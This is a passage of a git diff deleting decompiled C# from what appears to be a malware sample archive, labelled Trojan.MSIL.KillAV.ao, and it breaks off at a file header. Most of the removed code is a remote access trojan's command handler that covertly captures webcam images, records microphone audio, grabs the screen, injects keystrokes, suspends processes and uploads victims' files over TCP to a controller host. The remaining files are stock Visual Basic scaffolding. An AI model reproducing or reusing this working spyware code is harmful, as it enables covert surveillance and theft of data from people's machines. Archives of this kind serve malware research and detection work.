- }, (string[]) null)), 0, 0, 0, 1); - } - else if (Operators.CompareString(Left1, "#33", false) == 0) - { - B b = MyProject.Forms.B; - string str85 = "#5" + IND.Y + API.Gt(); - ref string local = ref str85; - b.SEND(ref local); - } - else if (Operators.CompareString(Left1, "#34", false) == 0) - { - num1 = 0; - Array Instance45 = Instance1; - object[] objArray84 = new object[1]; - object[] objArray85 = objArray84; - int num64 = 1; - // ISSUE: variable of a boxed type - __Boxed local75 = (ValueType) num64; - objArray85[0] = (object) local75; - object[] Arguments = objArray84; - int integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance45, Arguments, (string[]) null)); - ref int local76 = ref integer; - int num65 = 0; - ref int local77 = ref num65; - byte[] numArray = C.Capture1(ref local76, ref local77); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num64, - (object) integer - }, (string[]) null, true, false); - byte[] buffer = numArray; - if (buffer.Length != 0) - { - MemoryStream memoryStream = new MemoryStream(); - memoryStream.Write(Encoding.Default.GetBytes("#6" + IND.Y), 0, checked (IND.Y.Length + 2)); - memoryStream.Write(buffer, 0, buffer.Length); - MyProject.Forms.B.WC.SendData(memoryStream.ToArray()); - } - } - else if (Operators.CompareString(Left1, "#35", false) == 0) - { - int num66 = checked (Instance1.Length - 1); - int num67 = 1; - while (num67 <= num66) - { - NTSuspendProcess.SuspendProcess(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) num67 - }, (string[]) null))); - checked { ++num67; } - } - } - else if (Operators.CompareString(Left1, "#36", false) == 0) - { - int num68 = checked (Instance1.Length - 1); - int num69 = 1; - while (num69 <= num68) - { - NTSuspendProcess.ResumeProcess(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) num69 - }, (string[]) null))); - checked { ++num69; } - } - } - else if (Operators.CompareString(Left1, "#37", false) == 0) - { - try - { - Cam cam = new Cam(); - B b = MyProject.Forms.B; - string str86 = "#22" + IND.Y; - string s = cam.Dnames(); - string str87 = API.ENB(ref s); - string str88 = Conversions.ToString(Operators.ConcatenateObject((object) (str86 + str87 + IND.Y), NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null))); - ref string local = ref str88; - b.SEND(ref local); - } - catch (Exception ex) - { - int lErl = num3; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - } - else if (Operators.CompareString(Left1, "#38", false) == 0) - { - IND.bz = true; - if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 2 - }, (string[]) null), (object) 1, false)) - num1 = -2; - Cam cam = new Cam(); - int integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null)); - Image image = cam.cap(ref integer); - MemoryStream memoryStream1 = new MemoryStream(); - image.Save((Stream) memoryStream1, ImageFormat.Jpeg); - MemoryStream memoryStream2 = new MemoryStream(); - memoryStream2.Write(MyProject.Forms.B.WC.STB(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject((object) ("#23" + IND.Y), NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 2 - }, (string[]) null)), (object) IND.Y))), 0, MyProject.Forms.B.WC.STB(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject((object) ("#23" + IND.Y), NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 2 - }, (string[]) null)), (object) IND.Y))).Length); - memoryStream2.Write(memoryStream1.ToArray(), 0, memoryStream1.ToArray().Length); - cam.dispose(); - MyProject.Forms.B.WC.SendData(memoryStream2.ToArray()); - } - else if (Operators.CompareString(Left1, "#39", false) == 0) - { - bool flag = false; - while (true) - { - num2 = 39; - try - { - object objectValue = RuntimeHelpers.GetObjectValue(Interaction.CreateObject("sapi.spvoice")); - NewLateBinding.LateSet(objectValue, (System.Type) null, "rate", new object[1] - { - RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 2 - }, (string[]) null)) - }, (string[]) null, (System.Type[]) null); - object Instance46 = objectValue; - object[] objArray86 = new object[1]; - object[] objArray87 = objArray86; - Array Instance47 = Instance1; - object[] objArray88 = new object[1]; - object[] objArray89 = objArray88; - int num70 = 1; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) num70; - objArray89[0] = (object) local; - object[] Arguments19 = objArray88; - string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance47, Arguments19, (string[]) null)); - string str89 = API.DEB(ref s); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num70, - (object) s - }, (string[]) null, true, false); - objArray87[0] = (object) str89; - object[] Arguments20 = objArray86; - NewLateBinding.LateCall(Instance46, (System.Type) null, "Speak", Arguments20, (string[]) null, (System.Type[]) null, (bool[]) null, true); - break; - } - catch (Exception ex) - { - int lErl = num2; - ProjectData.SetProjectError(ex, lErl); - if (!flag) - { - flag = true; - ProjectData.ClearProjectError(); - } - else - { - ProjectData.ClearProjectError(); - break; - } - } - } - } - else if (Operators.CompareString(Left1, "#40", false) == 0) - { - MemoryStream memoryStream = new MemoryStream(); - memoryStream.Write(Da, checked (NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - unchecked ((object) 0) - }, (string[]) null).ToString().Length + IND.Y.Length), checked (Da.Length - NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - unchecked ((object) 0) - }, (string[]) null).ToString().Length + IND.Y.Length)); - Audio audio = MyProject.Computer.Audio; - byte[] array = memoryStream.ToArray(); - bool flag = false; - ref bool local = ref flag; - byte[] data = API.ZIP(array, ref local); - audio.Play(data, AudioPlayMode.Background); - } - else if (Operators.CompareString(Left1, "#41", false) == 0) - { - if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 0 - }, (string[]) null), (object) "#41", false)) - { - string str90 = "open new Type waveaudio Alias recsound"; - ref string local78 = ref str90; - string str91 = ""; - ref string local79 = ref str91; - IND.mciSendString(ref local78, ref local79, 0, 0); - string str92 = "record recsound"; - ref string local80 = ref str92; - str91 = ""; - ref string local81 = ref str91; - IND.mciSendString(ref local80, ref local81, 0, 0); - Thread.Sleep(5000); - string str93 = "save recsound " + IND.TM + "rq"; - ref string local82 = ref str93; - str91 = ""; - ref string local83 = ref str91; - IND.mciSendString(ref local82, ref local83, 0, 0); - string str94 = "close recsound"; - ref string local84 = ref str94; - str91 = ""; - ref string local85 = ref str91; - IND.mciSendString(ref local84, ref local85, 0, 0); - MemoryStream memoryStream = new MemoryStream(); - memoryStream.Write(MyProject.Forms.B.WC.STB("#25" + IND.Y), 0, MyProject.Forms.B.WC.STB("#25" + IND.Y).Length); - byte[] B = File.ReadAllBytes(IND.TM + "rq"); - bool flag = true; - ref bool local86 = ref flag; - byte[] buffer = API.ZIP(B, ref local86); - memoryStream.Write(buffer, 0, buffer.Length); - MyProject.Forms.B.WC.SendData(memoryStream.ToArray()); - } - } - else if (Operators.CompareString(Left1, "#42", false) == 0) - { - num1 = 6; - new IND.UL() - { - sock = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null)), - F = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 2 - }, (string[]) null)), - idx = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 3 - }, (string[]) null)) - }.start(); - } - else if (Operators.CompareString(Left1, "#43", false) == 0) - { - num1 = 0; - Array Instance48 = Instance1; - object[] objArray90 = new object[1]; - object[] objArray91 = objArray90; - int num71 = 1; - // ISSUE: variable of a boxed type - __Boxed local87 = (ValueType) num71; - objArray91[0] = (object) local87; - object[] Arguments21 = objArray90; - string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance48, Arguments21, (string[]) null)); - string str95 = API.DEB(ref s); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num71, - (object) s - }, (string[]) null, true, false); - string str96 = str95; - ref string local88 = ref str96; - Array Instance49 = Instance1; - object[] objArray92 = new object[1]; - object[] objArray93 = objArray92; - int num72 = 2; - // ISSUE: variable of a boxed type - __Boxed local89 = (ValueType) num72; - objArray93[0] = (object) local89; - object[] Arguments22 = objArray92; - int integer7 = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance49, Arguments22, (string[]) null)); - ref int local90 = ref integer7; - Array Instance50 = Instance1; - object[] objArray94 = new object[1]; - object[] objArray95 = objArray94; - int num73 = 3; - // ISSUE: variable of a boxed type - __Boxed local91 = (ValueType) num73; - objArray95[0] = (object) local91; - object[] Arguments23 = objArray94; - int integer8 = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance50, Arguments23, (string[]) null)); - ref int local92 = ref integer8; - Array Instance51 = Instance1; - object[] objArray96 = new object[1]; - object[] objArray97 = objArray96; - int num74 = 4; - // ISSUE: variable of a boxed type - __Boxed local93 = (ValueType) num74; - objArray97[0] = (object) local93; - object[] Arguments24 = objArray96; - int integer9 = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance51, Arguments24, (string[]) null)); - ref int local94 = ref integer9; - IND.DrawScreen(ref local88, ref local90, ref local92, ref local94); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num74, - (object) integer9 - }, (string[]) null, true, false); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num73, - (object) integer8 - }, (string[]) null, true, false); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num72, - (object) integer7 - }, (string[]) null, true, false); - } - else if (Operators.CompareString(Left1, "#44", false) == 0) - keyboard.click(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null)), (Keys) Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 2 - }, (string[]) null))); - } - } - } - catch (Exception ex) - { - int lErl = num2; - ProjectData.SetProjectError(ex, lErl); - Exception exception = ex; - IND.bz = false; - B.Busy = false; - if (num1 == -1) - { - ProjectData.ClearProjectError(); - return; - } - if (num1 == -2) - { - ProjectData.ClearProjectError(); - return; - } - ref int local95 = ref num1; - string message = exception.Message; - ref string local96 = ref message; - IND.sdEr(ref local95, ref local96); - ProjectData.ClearProjectError(); - } -label_300: - IND.bz = false; - } - - public static void DrawScreen(ref string Text, ref int CLR, ref int Size, ref int sec) - { - Font font = new Font("arial", (float) Size); - int integer = Conversions.ToInteger(Conversions.ToString(sec) + Conversions.ToString(0) + Conversions.ToString(0) + Conversions.ToString(0)); - int num = 0; - while (num <= integer) - { - Thread.Sleep(10); - Graphics.FromHdc((IntPtr) IND.GetDC(0)).DrawString(Text, font, (Brush) new SolidBrush(System.Drawing.Color.FromArgb(CLR)), 0.0f, 0.0f); - checked { num += 100; } - } - } - - [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] - private static extern int GetDC(int hWnd); - - [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] - private static extern int ReleaseDC(int hWnd, int hDC); - - public static void sdEr(ref int Er, ref string T) - { - B b = MyProject.Forms.B; - string str = "#10" + IND.Y + "^" + Conversions.ToString(Er) + IND.Y + API.ENB(ref T); - ref string local = ref str; - b.SEND(ref local); - } - - [DllImport("winmm.dll", EntryPoint = "mciSendStringA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int mciSendString( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpstrCommand, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpstrReturnString, - int uReturnLength, - int hwndCallback); - - public static string siz(string Size) - { - if (Size.Length < 4) - return Size + " Bytes"; - string str1 = Conversions.ToString(Conversions.ToDouble(Size) / 1024.0); - string str2 = " KB"; - int integer; - if (Strings.InStr(str1, ".") > 0) - { - Array Instance = (Array) Strings.Split(str1, "."); - str1 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 0 - }, (string[]) null)); - if (NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 1 - }, (string[]) null).ToString().Length > 3) - integer = Conversions.ToInteger(Strings.Mid(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 1 - }, (string[]) null)), 1, 3)); - else - integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 1 - }, (string[]) null)); - } - if (str1.Length > 3) - { - str1 = Conversions.ToString(Conversions.ToDouble(str1) / 1024.0); - str2 = " MB"; - if (Strings.InStr(str1, ".") > 0) - { - Array Instance = (Array) Strings.Split(str1, "."); - str1 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 0 - }, (string[]) null)); - if (NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 1 - }, (string[]) null).ToString().Length > 3) - integer = Conversions.ToInteger(Strings.Mid(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 1 - }, (string[]) null)), 1, 3)); - else - integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 1 - }, (string[]) null)); - } - } - if (str1.Length > 3) - { - str1 = Conversions.ToString(Conversions.ToDouble(str1) / 1024.0); - str2 = " GB"; - if (Strings.InStr(str1, ".") > 0) - { - Array Instance = (Array) Strings.Split(str1, "."); - str1 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 0 - }, (string[]) null)); - if (NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 1 - }, (string[]) null).ToString().Length > 3) - integer = Conversions.ToInteger(Strings.Mid(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 1 - }, (string[]) null)), 1, 3)); - else - integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 1 - }, (string[]) null)); - } - } - return str1 + "." + Conversions.ToString(integer) + str2; - } - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern void mouse_event( - int dwFlags, - int dx, - int dy, - int cButtons, - int dwExtraInfo); - - public static byte[] SB(ref string s, ref byte[] B) - { - MemoryStream memoryStream = new MemoryStream(); - byte[] bytes = Encoding.Default.GetBytes(s); - memoryStream.Write(bytes, 0, bytes.Length); - byte[] B1 = B; - bool flag = true; - ref bool local = ref flag; - byte[] buffer = API.ZIP(B1, ref local); - memoryStream.Write(buffer, 0, buffer.Length); - return memoryStream.ToArray(); - } - - public delegate void indd(string T); - - public class UL - { - public int idx; - public string F; - public int sock; - private TcpClient k; - public int PZ; - private byte[] bb; - private int fz; - private int sd; - private bool rc; - - public UL() - { - this.k = new TcpClient(); - this.PZ = -1; - this.rc = false; - } - - public void R() - { - try - { - this.fz = checked ((int) FileSystem.FileLen(API.DEB(ref this.F))); - byte[] buffer = MyProject.Forms.B.WC.STB("#26" + IND.Y + Conversions.ToString(this.sock) + IND.Y + this.F + IND.Y + Conversions.ToString(this.fz) + IND.Y + Conversions.ToString(this.idx) + "nj-q8"); - this.k.Client.Send(buffer, buffer.Length, SocketFlags.None); - do - { - Thread.Sleep(1); - } - while (this.k.Client.Available <= 0); - byte[] numArray = new byte[checked (this.k.Client.Available + 1)]; - this.k.Client.Receive(numArray, numArray.Length, SocketFlags.None); - this.PZ = Conversions.ToInteger(MyProject.Forms.B.WC.BTS(numArray).Replace("nj-q8", "")); - if (this.PZ != -1) - { - MemoryStream memoryStream = new MemoryStream(); - memoryStream.Write(this.bb, this.PZ, checked (this.bb.Length - this.PZ)); - this.k.Client.Send(memoryStream.ToArray(), memoryStream.ToArray().Length, SocketFlags.None); - } - try - { - this.k.Close(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - this.bb = (byte[]) null; - this.rc = true; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public void start() - { - try - { - this.bb = File.ReadAllBytes(API.DEB(ref this.F)); - this.k.Client.ReceiveBufferSize = 999999; - this.k.Client.SendBufferSize = 999999; - this.k.Client.ReceiveTimeout = -1; - this.k.Client.SendTimeout = -1; - this.k.Client.Connect(B.no.Split(':')[0], Conversions.ToInteger(B.no.Split(':')[1])); - new Thread(new ThreadStart(this.R)).Start(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/My/MyApplication.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/My/MyApplication.cs deleted file mode 100644 index 1863c662..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/My/MyApplication.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.My.MyApplication -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System.CodeDom.Compiler; -using System.ComponentModel; - -namespace n.My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyApplication : ConsoleApplicationBase - { - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/My/MyComputer.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/My/MyComputer.cs deleted file mode 100644 index 932b4887..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/My/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.My.MyComputer -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace n.My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal class MyComputer : Computer - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyComputer() - { - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/My/MyProject.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/My/MyProject.cs deleted file mode 100644 index 5fb8baa3..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/My/MyProject.cs +++ /dev/null @@ -1,225 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.My.MyProject -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.Collections; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace n.My -{ - [StandardModule] - [GeneratedCode("MyTemplate", "8.0.0.0")] - [HideModuleName] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static MyProject.ThreadSafeObjectProvider m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.Forms")] - internal static MyProject.MyForms Forms - { - [DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class MyForms - { - public B m_B; - public chat m_chat; - [ThreadStatic] - private static Hashtable m_FormBeingCreated; - - public B B - { - get - { - this.m_B = MyProject.MyForms.Create__Instance__(this.m_B); - return this.m_B; - } - set - { - if (value == this.m_B) - return; - if (value != null) - throw new ArgumentException("Property can only be set to Nothing"); - this.Dispose__Instance__(ref this.m_B); - } - } - - public chat chat - { - get - { - this.m_chat = MyProject.MyForms.Create__Instance__(this.m_chat); - return this.m_chat; - } - set - { - if (value == this.m_chat) - return; - if (value != null) - throw new ArgumentException("Property can only be set to Nothing"); - this.Dispose__Instance__(ref this.m_chat); - } - } - - [DebuggerHidden] - private static T Create__Instance__(T Instance) where T : Form, new() - { - if ((object) Instance != null && !Instance.IsDisposed) - return Instance; - if (MyProject.MyForms.m_FormBeingCreated != null) - { - if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T))) - throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate")); - } - else - MyProject.MyForms.m_FormBeingCreated = new Hashtable(); - MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null); - try - { - return new T(); - } - catch (TargetInvocationException ex) when ( - { - // ISSUE: unable to correctly present filter - ProjectData.SetProjectError((Exception) ex); - if (ex.InnerException != null) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException); - } - finally - { - MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T)); - } - } - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) where T : Form - { - instance.Dispose(); - instance = default (T); - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyForms() - { - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - internal new System.Type GetType() => typeof (MyProject.MyForms); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - internal sealed class MyWebServices - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - internal new System.Type GetType() => typeof (MyProject.MyWebServices); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyWebServices() - { - } - } - - [ComVisible(false)] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/My/MySettings.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/My/MySettings.cs deleted file mode 100644 index 1c64ed60..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/My/MySettings.cs +++ /dev/null @@ -1,30 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.My.MySettings -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Configuration; -using System.Runtime.CompilerServices; - -namespace n.My -{ - [EditorBrowsable(EditorBrowsableState.Advanced)] - [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")] - [CompilerGenerated] - internal sealed class MySettings : ApplicationSettingsBase - { - private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings()); - - public static MySettings Default - { - get - { - MySettings defaultInstance = MySettings.defaultInstance; - return defaultInstance; - } - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/My/MySettingsProperty.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/My/MySettingsProperty.cs deleted file mode 100644 index a9071609..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/My/MySettingsProperty.cs +++ /dev/null @@ -1,31 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.My.MySettingsProperty -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; - -namespace n.My -{ - [HideModuleName] - [CompilerGenerated] - [DebuggerNonUserCode] - [StandardModule] - internal sealed class MySettingsProperty - { - [HelpKeyword("My.Settings")] - internal static MySettings Settings - { - get - { - MySettings settings = MySettings.Default; - return settings; - } - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/My/Resources/Resources.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/My/Resources/Resources.cs deleted file mode 100644 index 02a510ae..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/My/Resources/Resources.cs +++ /dev/null @@ 